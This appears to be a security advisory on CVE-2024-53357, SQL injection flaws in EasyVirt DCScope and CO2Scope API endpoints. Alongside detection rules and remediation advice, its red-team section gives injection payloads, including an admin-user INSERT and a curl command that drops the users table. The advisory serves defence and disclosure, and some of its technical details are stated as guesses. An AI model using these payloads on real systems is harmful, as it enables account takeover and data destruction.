CVE-2024-53357

Executive Summary

CVE-2024-53357 discloses multiple critical SQL injection vulnerabilities in EasyVirt DCScope (<= 8.6.0) and CO2Scope (<= 1.3.0). These flaws allow a remote authenticated attacker with low privileges to execute arbitrary SQL commands through various API endpoints. The impact is severe: an attacker can escalate privileges by adding an admin user, modify or delete existing users and groups, and manipulate roles. This effectively grants full administrative control over the affected EasyVirt management platform, compromising the confidentiality, integrity, and availability of the entire virtualized infrastructure.

The vulnerabilities are unpatched as of this analysis, and no official fix or workaround has been released by the vendor. Given the low complexity of exploitation and the high potential for lateral movement within virtualized environments, this CVE poses a significant risk to organizations using EasyVirt products.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product-level flaw in EasyVirt’s proprietary software. However, organizations should assess the integrity of their EasyVirt installations and monitor for any unauthorized changes to user accounts or roles.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a low-privilege account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., database, other users).
• Confidentiality (C): High (H) – Full database access possible.
• Integrity (I): High (H) – Can modify users, roles, and data.
• Availability (A): High (H) – Could delete users or disrupt services.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical – due to the ease of exploitation and the potential for complete compromise of the EasyVirt management platform.

Deep Dive & Mechanics

The core issue is a classic SQL injection vulnerability in multiple API endpoints of EasyVirt DCScope and CO2Scope. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. An authenticated attacker with low privileges can inject malicious SQL code via parameters in the following routes:

• /api/user/addalias – Add an admin user
• /api/user/updatealias – Modify a user
• /api/user/delalias – Delete users
• /api/user/aliases – Get users
• /api/user/adduser – Add a root group
• /api/user/updateuser – Modify a group
• /api/user/deluser – Delete a group
• /api/user/users – Get groups
• /api/user/addrole – Add an admin role
• /api/user/updaterole – Modify a role
• /api/user/delrole – Delete a role
• /api/user/roles – Get roles

The injection likely occurs in parameters such as username, role_name, group_id, or similar fields. By crafting a payload like ' OR '1'='1 or using UNION-based SQL injection, the attacker can manipulate the query to return arbitrary data or execute commands.

Example vulnerable query (pseudo-code):

SELECT * FROM users WHERE username = '$_POST['username']'

An attacker could input: admin' -- to bypass authentication or ' UNION SELECT * FROM admin_users -- to extract data.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely uses string concatenation or unsafe parameter interpolation. A patched version would use parameterized queries (prepared statements) or stored procedures.

Vulnerable (pseudo-code):

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);

Patched (pseudo-code):

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privilege account on EasyVirt DCScope/CO2Scope.
• Network access to the API endpoints.

Exploitation Steps:

1. Identify the target API endpoint. For example, to add an admin user:

   POST /api/user/addalias HTTP/1.1
   Host: target.easyvirt.com
   Cookie: session=valid_session
   Content-Type: application/x-www-form-urlencoded
   
   username=attacker&password=attacker123&role=admin' OR '1'='1
   

2. Craft a SQL injection payload. Use a UNION-based injection to extract data or modify records. Example for adding an admin:

   username=attacker'; INSERT INTO admin_users (username, password, role) VALUES ('hacker', 'pass', 'admin'); --
   

3. Execute the request. Use tools like curl, Burp Suite, or a custom script.

Example curl command:

curl -X POST "http://target.easyvirt.com/api/user/addalias" \
  -H "Cookie: session=valid_session" \
  -d "username=attacker'; DROP TABLE users; --&password=test"

Note: The exact payload depends on the database structure. Use error-based or blind SQL injection techniques if needed.

Blue Team

Detection Steps:

1. Monitor API logs for unusual SQL keywords in request parameters (e.g., SELECT, UNION, INSERT, DROP, OR, --).
2. Set up alerts for failed login attempts followed by successful admin creation.
3. Review database logs for unexpected queries or schema changes.
4. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot Strategy:

• Deploy a fake EasyVirt instance with modified API endpoints that log all injection attempts.
• Use a decoy database with fake admin credentials to track attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/user/* endpoints containing SQL keywords (', OR, UNION, SELECT, INSERT, DROP, --).
  • Unusual POST parameters with encoded SQL payloads.
• System IOCs:
  • New user accounts with admin privileges created outside normal processes.
  • Modified or deleted user/group/role records in the database.
  • Database error messages in application logs (e.g., SQL syntax error).
• File IOCs:
  • Unexpected files in the web root (e.g., webshells).
  • Modified application configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_53357_SQLi_EasyVirt {
    meta:
        description = "Detects SQL injection attempts targeting EasyVirt DCScope/CO2Scope API endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53357"
    strings:
        $s1 = "/api/user/addalias" nocase
        $s2 = "/api/user/updatealias" nocase
        $s3 = "/api/user/delalias" nocase
        $s4 = "/api/user/aliases" nocase
        $s5 = "/api/user/adduser" nocase
        $s6 = "/api/user/updateuser" nocase
        $s7 = "/api/user/deluser" nocase
        $s8 = "/api/user/users" nocase
        $s9 = "/api/user/addrole" nocase
        $s10 = "/api/user/updaterole" nocase
        $s11 = "/api/user/delrole" nocase
        $s12 = "/api/user/roles" nocase
        $sqli1 = /(\%27|\'|--|OR|AND|UNION|SELECT|INSERT|DROP|UPDATE|DELETE)/ nocase
    condition:
        any of ($s*) and $sqli1
}

Sigma Rule

title: SQL Injection Attempt on EasyVirt API
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to EasyVirt API endpoints
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-53357
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/user/addalias'
            - '/api/user/updatealias'
            - '/api/user/delalias'
            - '/api/user/aliases'
            - '/api/user/adduser'
            - '/api/user/updateuser'
            - '/api/user/deluser'
            - '/api/user/users'
            - '/api/user/addrole'
            - '/api/user/updaterole'
            - '/api/user/delrole'
            - '/api/user/roles'
    keywords:
        - 'OR'
        - 'AND'
        - 'UNION'
        - 'SELECT'
        - 'INSERT'
        - 'DROP'
        - 'UPDATE'
        - 'DELETE'
        - '--'
        - '\''
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53357 - EasyVirt SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/user/";
    http_uri;
    pcre:"/(OR|AND|UNION|SELECT|INSERT|DROP|UPDATE|DELETE|--|\')/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-53357;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks if possible.
2. Disable or restrict access to the vulnerable API endpoints using a WAF or network ACLs.
3. Review and rotate all credentials for EasyVirt accounts, especially admin accounts.
4. Monitor logs for signs of exploitation.

Long-term Fix:

• Vendor Patch: Await an official patch from EasyVirt. Contact the vendor for an ETA.
• Code Fix: If source code is available, implement parameterized queries for all database interactions.
• Upgrade: Consider migrating to an alternative virtualization management solution if a patch is not forthcoming.

Workaround:

• Implement a reverse proxy that inspects and sanitizes input to the API endpoints.
• Use a Web Application Firewall (WAF) with SQL injection prevention rules.

Valters IT